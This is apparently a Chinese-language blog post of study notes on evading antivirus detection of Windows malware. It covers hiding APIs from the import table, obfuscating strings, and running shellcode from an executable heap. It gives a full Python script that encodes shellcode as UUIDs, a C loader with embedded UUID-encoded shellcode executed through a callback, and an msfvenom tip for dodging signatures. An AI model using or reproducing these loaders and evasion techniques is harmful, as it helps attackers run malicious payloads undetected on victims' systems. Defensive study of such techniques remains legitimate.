静态恶意代码逃逸3 最近在学习从底层用C/C++去实现免杀,而看到了关于静态恶意代码逃逸的一些很好的文章,在此记录总结一下
调用自己函数隐藏导入表 Import Address Table(IAT) 在上一篇文章中,我们对于PE文件的结构有了一定的了解 而PE文件的导入表(IAT)将调用导入函数的指令和函数实际所处的地址联系起来(动态连接) 见而言之就是PE利用导入表来找外部函数地址
这里没找到原文中的工具,于是自己找了一个工具,用来查看程序中的导入表IAT-dump
对于这个工具,也可能是自己没怎么接触过C++20,于是折腾了挺久才跑起来
根据main.cpp中的这一段代码可以知道,需要我们传一点参数进去
而对于main函数中传递参数int main(int argc, char** argv)
其中argc记录的是参数的个数,argv则是按顺序存储了传入的参数
那我们第一步先将调试模式改成release,这样编译后会存在一个iat-dump.exe .\iat-dump.exe -file evil.exe
这样即可查看evil.exe的导入表(evil.exe得在当前目录下)
在找工具的时候,也发现了一个比较好玩的东西,不过还没仔细去看,先记录一下 https://github.com/fdgnneig/ShellProgram
获取函数地址 这个API在Kernel32.dll中有一个函数GetProcAddress
被导出,主要功能是从一个加载的模块中获取函数的地址 其能返回一个我们需要找的函数的地址,我们就需要利用这个函数,来自己手动获取函数地址,这样就不会使危险的函数出现在IAT中 因为杀软会对导入表中的某些函数(例如VirtualAlloc函数基于可执行权限时,会直接报毒查杀)特别关注
我们定义一些函数指针来存放函数的地址ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
编译通过后,自定义的函数时不会出现在导入表中的,这样就减少了文件特征
重载运算符 一般情况下,C/C++程序中的字符串常量会被硬编码到程序中(.data段,也就是数据段),尤其是全局变量最容易被定位到 于是想到使用重载运算符来将string重载,再进行编码等一系列操作 这里有个项目已经实现了,重载运算符的原理比较容易理解,就不做多叙述了https://github.com/Rvn0xsy/Cooolis-ms
绕过DEP 什么是DEP 在Windows Xp SP2 之前的时代,缓冲区溢出漏洞利用门槛太低了,只要发现有缓冲区溢出漏洞,就可以直接稳定利用,攻击者只需要将Shellcode不断写入堆栈,然后覆盖函数返回地址,代码就可以在堆栈中执行。但堆栈的用途主要是保存寄存器现场,提供一个函数运行时的存储空间,极少数需要代码在堆栈中执行,于是微软为了缓解类似的情况,发明了DEP保护机制,用于限制某些内存页不具有可执行权限
绕过DEP VirtualProtect这个API能够更改内存页的属性为可执行或不可执行,对于二进制漏洞利用来说,溢出的时候,把返回地址设计为VirtualProtect的地址,再精心构造一个栈为调用这个API的栈,就可以改变当前栈的内存页的属性,使其从”不可执行”变成”可执行” 由此说来,Shellcode执行其实也需要一个可执行的内存页, 于是我们找到了一个API HeapCreate可以在进程中创建辅助堆栈,并且能够设置堆栈的属性
1 2 3 4 HANDLE WINAPI HeapCreate ( __in DWORD flOptions, __in SIZE_T dwInitialSize, __in SIZE_T dwMaximumSize ) ;
对于第一个参数
HEAP_NO_SERIALIZE:对堆的访问是非独占的,如果一个线程没有完成对堆的操作,其它线程也可以进程堆操作,这个开关是非常危险的,应尽量避免使用
HEAP_GENERATE_EXCEPTIONS:当堆分配内存失败时,会抛出异常。如果不设置,则返回NULL
HEAP_CREATE_ENALBE_EXECUTE:堆中存放的内容是可以执行的代码。如果不设置,意味着堆中存放的是不可执行的数据 我们的思路就是将shellcode存入到这个辅助进程中 直接贴上示例代码1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <iostream> #include <Windows.h> int main () { char shellcode[] = "123" ; HANDLE hHep = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0 , 0 ); PVOID Mptr = HeapAlloc(hHep, 0 , sizeof (shellcode)); RtlCopyMemory(Mptr, shellcode, sizeof (shellcode)); DWORD dwThreadId = 0 ; HANDLE hThread = CreateThread(NULL , NULL , (LPTHREAD_START_ROUTINE)Mptr, NULL , NULL , &dwThreadId); WaitForSingleObject(hThread, INFINITE); std ::cout << "Hello World!\n" ; }
Bin2UUID 这是通过唯一标识符(universally unique identifier, UUID)来存储shellcode,并使用CALL BACK函数的特性来加载Shellcode 这里直接贴上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from uuid import UUIDimport osimport sys print(""" ____ _ _______ _ _ _ _ _____ _____ | _ \(_) |__ __| | | | | | | |_ _| __ \ | |_) |_ _ __ | | ___ | | | | | | | | | | | | |___ | _ <| | '_ \| |/ _ \| | | | | | | | | | | | / __| | |_) | | | | | | (_) | |__| | |__| |_| |_| |__| \__ \ |____/|_|_| |_|_|\___/ \____/ \____/|_____|_____/|___/ \n""" )with open (sys.argv[1 ], "rb" ) as f: bin = f.read()if len (sys.argv) > 2 and sys.argv[2 ] == "--print" : outputMapping = True else : outputMapping = False offset = 0 print("Length of shellcode: {} bytes\n" .format (len (bin ))) out = "" while (offset < len (bin )): countOfBytesToConvert = len (bin [offset:]) if countOfBytesToConvert < 16 : ZerosToAdd = 16 - countOfBytesToConvert byteString = bin [offset:] + (b'\x00' * ZerosToAdd) uuid = UUID(bytes_le=byteString) else : byteString = bin [offset:offset+16 ] uuid = UUID(bytes_le=byteString) offset+=16 out += "\"{}\",\n" .format (uuid) if outputMapping: print("{} -> {}" .format (byteString, uuid))with open (sys.argv[1 ] + "UUIDs" , "w" ) as f: f.write(out) print("Outputted to: {}" .format (sys.argv[1 ] + "UUIDs" ))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #include <Windows.h> #include <rpc.h> #pragma comment(lib,"Rpcrt4.lib" ) const char * buf[] = { "4baf01bd-dbdd-d9de-7424-f45a33c9b131" , "83136a31-04c2-6a03-0e4d-be21f81341da" , "3fcb73f8-b3c9-34af-7904-bb1975efe989" , "bd259d0e-28a7-f010-3800-6093ba5bb573" , "72c89383-cec4-2621-9d85-94d7aad02453" , "802cf5e0-f4b0-171d-cbae-bd9918dbf781" , "394ee67d-9cb5-eb50-845d-fed229acfe13" , "6a754f8d-f2ee-a98e-8d28-1a2a35babc96" , "5c5a6fc4-c4ca-3a28-cedb-fd30ea500097" , "3327227b-f020-6246-8c57-76746f07d2fe" , "5d6f5c9d-a3cb-dbfd-b9a4-fde3edcccc68" , "bad08a62-64c7-e79b-61ed-4272307075a8" , "59f68d76-6a06-2be6-0336-a0c0792745e7" , "844c482e-dab1-650c-545b-b67900000000" };int main (int argc, char * argv[]) { int dwNum = sizeof (buf) / sizeof (buf[0 ]); HANDLE hMemory = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0 , 0 ); if (hMemory == NULL ) { return -1 ; } PVOID pMemory = HeapAlloc(hMemory, 0 , 1024 ); DWORD_PTR CodePtr = (DWORD_PTR)pMemory; for (size_t i = 0 ; i < dwNum; i++) { if (CodePtr == NULL ) { break ; } RPC_STATUS status = UuidFromStringA(RPC_CSTR(buf[i]), (UUID*)CodePtr); if (status != RPC_S_OK) { return -1 ; } CodePtr += 16 ; } if (pMemory == NULL ) { return -1 ; } if (EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)pMemory, LGRPID_INSTALLED, NULL ) == FALSE) { return 0 ; } return 0 ; }
记录一个新学的点,msfvenom生成木马时,可以用-b去避免所生成的shell中包含的字符 通常是-b ‘\xfc\xe8’或者-b ‘\x00’来减小msf码的文件特征